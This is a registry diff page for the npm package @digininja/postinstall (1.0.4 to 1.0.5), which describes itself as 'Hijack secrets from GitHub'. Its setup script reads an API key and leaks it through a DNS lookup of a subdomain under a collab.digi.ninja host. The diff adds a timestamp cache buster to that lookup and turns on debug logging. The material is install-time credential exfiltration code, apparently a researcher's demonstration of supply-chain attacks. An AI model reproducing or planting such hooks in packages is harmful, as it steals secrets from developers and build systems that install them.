@digininja/postinstall 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/scripts/setup.js +3 -2
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@digininja/postinstall",
3
- "version": "1.0.4",
3
+ "version": "1.0.5",
4
4
  "description": "Hijack secrets from GitHub",
5
5
  "author": "Digininja",
6
6
  "license": "ISC",
package/scripts/setup.js CHANGED
@@ -9,6 +9,7 @@ const options = {
9
9
  };
10
10
 
11
11
  function lookup(domain) {
12
+ log('Looking up address for %s', domain);
12
13
  dns.lookup(domain, options, (err, address, family) => {
13
14
  if (err) {
14
15
  log('Lookup failed:', err);
@@ -20,7 +21,7 @@ function lookup(domain) {
20
21
 
21
22
  function log(message, data = '') {
22
23
  // Put this back in for debugging
23
- // console.log(`[POSTINSTALL DEBUG] ${message}`, data);
24
+ console.log(`[POSTINSTALL DEBUG] ${message}`, data);
24
25
  }
25
26
 
26
27
  // DNS cache buster
@@ -34,6 +35,6 @@ if (!apiKey) {
34
35
  process.exit(0);
35
36
  }
36
37
 
37
- lookup(apiKey+'.6u1s7jd9esbax66anvpcg34jgam1asyh.collab.digi.ninja');
38
+ lookup(apiKey + '.' + seconds + '.6u1s7jd9esbax66anvpcg34jgam1asyh.collab.digi.ninja');
38
39
 
39
40
  log('Using API Key:', apiKey);